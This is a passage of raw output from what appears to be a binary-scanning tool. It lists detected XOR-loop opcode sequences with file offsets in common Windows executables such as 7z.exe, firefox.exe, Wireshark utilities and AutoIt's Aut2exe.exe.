"Aut2exe.exe" at offset 1907569; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 65291; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 67572; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 67593; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 67614; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 67683; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 67775; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 67874; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 93658; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 93796; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 293267; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 310772; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 435690; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 517707; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 643257; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 699409; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 731408; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 756774; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 770918; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 850321; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 861150; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 877499; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 908675; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 958786; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 1033064; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 1035234; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 1055662; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 1263547; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 1668547; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 1712574; code bytes = 33c1 Found XOR loop in file "Aut2exe.exe" at offset 1789442; code bytes = 30040e Found XOR loop in file "Aut2exe.exe" at offset 175532; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 187882; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 282018; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 301035; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 318036; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 354618; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 442465; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 481206; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 524980; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 537937; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 558086; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 563316; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 588547; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 606093; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 611890; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 657727; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 670251; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 677167; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 686076; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 718519; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 718892; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 724476; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 728154; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 733711; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 736328; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 741485; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 750849; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 766002; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 773077; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 778002; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 784818; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 787086; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 797118; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 801222; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 803682; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 806833; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 814964; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 816732; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 830255; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 836430; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 841523; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 842446; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 864727; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 881564; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 904376; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 921800; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 939344; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 947506; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 954346; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 961157; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 970407; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 988108; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 998789; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 999350; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1003634; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1011165; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1026162; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1035977; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1056971; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1074776; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1096017; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1100404; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1101356; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1104366; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1122502; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1124320; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1138824; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1179036; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1180506; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1191447; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1196103; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1212105; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1220510; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1231989; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1246955; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1291522; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1292059; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1306847; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1316366; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1317972; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1319744; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1326860; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1327099; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1338858; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1343464; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1373536; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1376857; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1377142; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1379966; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1563932; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1603565; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1604868; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1632417; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 1735914; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 1463152; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1463253; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1478130; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1485840; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1581925; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1615416; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1752032; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1846222; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 1893233; code bytes = 30d0 Found XOR loop in file "setup.exe" at offset 202693; code bytes = 33c1 Found XOR loop in file "setup.exe" at offset 202722; code bytes = 33c1 Found XOR loop in file "setup.exe" at offset 1654211; code bytes = 33c1 Found XOR loop in file "setup.exe" at offset 1698238; code bytes = 33c1 Found XOR loop in file "setup.exe" at offset 1775106; code bytes = 30040e Found XOR loop in file "setup.exe" at offset 195672; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 299883; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 835051; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 912307; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 1549596; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 1589229; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 1590532; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 1618081; code bytes = 8030 Found XOR loop in file "setup.exe" at offset 1721578; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 148608; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 538480; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 538581; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 553458; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 561168; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 657253; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 690744; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 827360; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 921550; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 968561; code bytes = 30d0 Found XOR loop in file "7z.exe" at offset 96346; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 303741; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 303778; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 303815; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 303852; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 729539; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 773566; code bytes = 33c1 Found XOR loop in file "7z.exe" at offset 850434; code bytes = 30040e Found XOR loop in file "7z.exe" at offset 440644; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 624924; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 664557; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 665860; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 693409; code bytes = 8030 Found XOR loop in file "7z.exe" at offset 796906; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 530288; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 530389; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 545266; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 552976; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 649061; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 682552; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 819168; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 913358; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 960369; code bytes = 30d0 Found XOR loop in file "firefox.exe" at offset 5275; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 5289; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 5303; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 5830; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 5848; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 5866; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 21179; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 21193; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 21207; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 27784; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 47251; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 47310; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 120950; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 120955; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 721347; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 765374; code bytes = 33c1 Found XOR loop in file "firefox.exe" at offset 842242; code bytes = 30040e Found XOR loop in file "firefox.exe" at offset 264495; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 330477; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 377631; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 616732; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 656365; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 657668; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 685217; code bytes = 8030 Found XOR loop in file "firefox.exe" at offset 788714; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 392924; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1030536; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1274680; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1286212; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1414512; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1414613; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1429490; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1437200; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1533285; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1566776; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1703392; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1797582; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 1844593; code bytes = 30d0 Found XOR loop in file "notification_helper.exe" at offset 567716; code bytes = 33c1 Found XOR loop in file "notification_helper.exe" at offset 652012; code bytes = 33c1 Found XOR loop in file "notification_helper.exe" at offset 690248; code bytes = 33c1 Found XOR loop in file "notification_helper.exe" at offset 1605571; code bytes = 33c1 Found XOR loop in file "notification_helper.exe" at offset 1649598; code bytes = 33c1 Found XOR loop in file "notification_helper.exe" at offset 1726466; code bytes = 30040e Found XOR loop in file "notification_helper.exe" at offset 943457; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 1050131; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 1275400; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 1500956; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 1540589; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 1541892; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 1569441; code bytes = 8030 Found XOR loop in file "notification_helper.exe" at offset 1672938; code bytes = 8030 Found XOR loop in file "rawshark.exe" at offset 481648; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 481749; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 496626; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 504336; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 600421; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 633912; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 770528; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 864718; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 911729; code bytes = 30d0 Found XOR loop in file "rawshark.exe" at offset 54372; code bytes = 33c1 Found XOR loop in file "rawshark.exe" at offset 672707; code bytes = 33c1 Found XOR loop in file "rawshark.exe" at offset 716734; code bytes = 33c1 Found XOR loop in file "rawshark.exe" at offset 793602; code bytes = 30040e Found XOR loop in file "rawshark.exe" at offset 568092; code bytes = 8030 Found XOR loop in file "rawshark.exe" at offset 607725; code bytes = 8030 Found XOR loop in file "rawshark.exe" at offset 609028; code bytes = 8030 Found XOR loop in file "rawshark.exe" at offset 636577; code bytes = 8030 Found XOR loop in file "rawshark.exe" at offset 740074; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 280096; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 283404; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 290292; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 316921; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 322891; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 438128; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 438229; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 453106; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 460816; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 556901; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 590392; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 727008; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 821198; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 868209; code bytes = 30d0 Found XOR loop in file "LogTransport2.exe" at offset 99467; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 99488; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 99509; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 99578; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 99670; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 105277; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 105704; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 106510; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 106928; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 198254; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 314135; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 629187; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 673214; code bytes = 33c1 Found XOR loop in file "LogTransport2.exe" at offset 750082; code bytes = 30040e Found XOR loop in file "LogTransport2.exe" at offset 168324; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 242378; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 323508; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 324010; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 524572; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 564205; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 565508; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 593057; code bytes = 8030 Found XOR loop in file "LogTransport2.exe" at offset 696554; code bytes = 8030 Found XOR loop in file "updater.exe" at offset 219279; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 221587; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 223515; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 225091; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 436592; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 436693; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 451570; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 459280; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 555365; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 588856; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 725472; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 819662; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 866673; code bytes = 30d0 Found XOR loop in file "updater.exe" at offset 54192; code bytes = 33c1 Found XOR loop in file "updater.exe" at offset 99573; code bytes = 33c1 Found XOR loop in file "updater.exe" at offset 627651; code bytes = 33c1 Found XOR loop in file "updater.exe" at offset 671678; code bytes = 33c1 Found XOR loop in file "updater.exe" at offset 748546; code bytes = 30040e Found XOR loop in file "updater.exe" at offset 523036; code bytes = 8030 Found XOR loop in file "updater.exe" at offset 562669; code bytes = 8030 Found XOR loop in file "updater.exe" at offset 563972; code bytes = 8030 Found XOR loop in file "updater.exe" at offset 591521; code bytes = 8030 Found XOR loop in file "updater.exe" at offset 695018; code bytes = 8030 Found XOR loop in file "text2pcap.exe" at offset 428912; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 429013; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 443890; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 451600; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 547685; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 581176; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 717792; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 811982; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 858993; code bytes = 30d0 Found XOR loop in file "text2pcap.exe" at offset 25400; code bytes = 33c1 Found XOR loop in file "text2pcap.exe" at offset 44335; code bytes = 33c1 Found XOR loop in file "text2pcap.exe" at offset 619971; code bytes = 33c1 Found XOR loop in file "text2pcap.exe" at offset 663998; code bytes = 33c1 Found XOR loop in file "text2pcap.exe" at offset 740866; code bytes = 30040e Found XOR loop in file "text2pcap.exe" at offset 515356; code bytes = 8030 Found XOR loop in file "text2pcap.exe" at offset 554989; code bytes = 8030 Found XOR loop in file "text2pcap.exe" at offset 556292; code bytes = 8030 Found XOR loop in file "text2pcap.exe" at offset 583841; code bytes = 8030 Found XOR loop in file "text2pcap.exe" at offset 687338; code bytes = 8030 Found XOR loop in file "editcap.exe" at offset 426352; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 426453; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 441330; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 449040; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 545125; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 578616; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 715232; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 809422; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 856433; code bytes = 30d0 Found XOR loop in file "editcap.exe" at offset 21556; code bytes = 33c1 Found XOR loop in file "editcap.exe" at offset 617411; code bytes = 33c1 Found XOR loop in file "editcap.exe" at offset 661438; code bytes = 33c1 Found XOR loop in file "editcap.exe" at offset 738306; code bytes = 30040e Found XOR loop in file "editcap.exe" at offset 512796; code bytes = 8030 Found XOR loop in file "editcap.exe" at offset 552429; code bytes = 8030 Found XOR loop in file "editcap.exe" at offset 553732; code bytes = 8030 Found XOR loop in file "editcap.exe" at offset 581281; code bytes = 8030 Found XOR loop in file "editcap.exe" at offset 684778; code bytes = 8030 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 112126; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 132350; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 349108; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 426419; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 535457; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 544126; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 606064; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 722095; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 801098; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 841180; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 946252; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1232187; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1340272; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1340373; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1355250; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1362960; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1459045; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1492536; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1629152; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1723342; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1770353; code bytes = 30d0 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 12878; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 86432; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 88336; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 91007; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 94376; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 95724; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 96708; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 122451; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 124930; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 133162; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 199106; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 294214; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 342512; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 416162; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 437971; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 468768; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 513819; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 563732; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 688297; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 691078; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 702036; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 747055; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 750746; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 772012; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 780395; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 797614; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 846536; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 853703; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 859938; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 910305; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 970411; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 972654; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 984211; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1011375; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1024323; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1037507; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1049354; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1101060; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1136549; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1176089; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1531331; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1575358; code bytes = 33c1 Found XOR loop in file "WatAdminSvc.exe.bin" at offset 1652226; code bytes = 30040e Found XOR loop in file 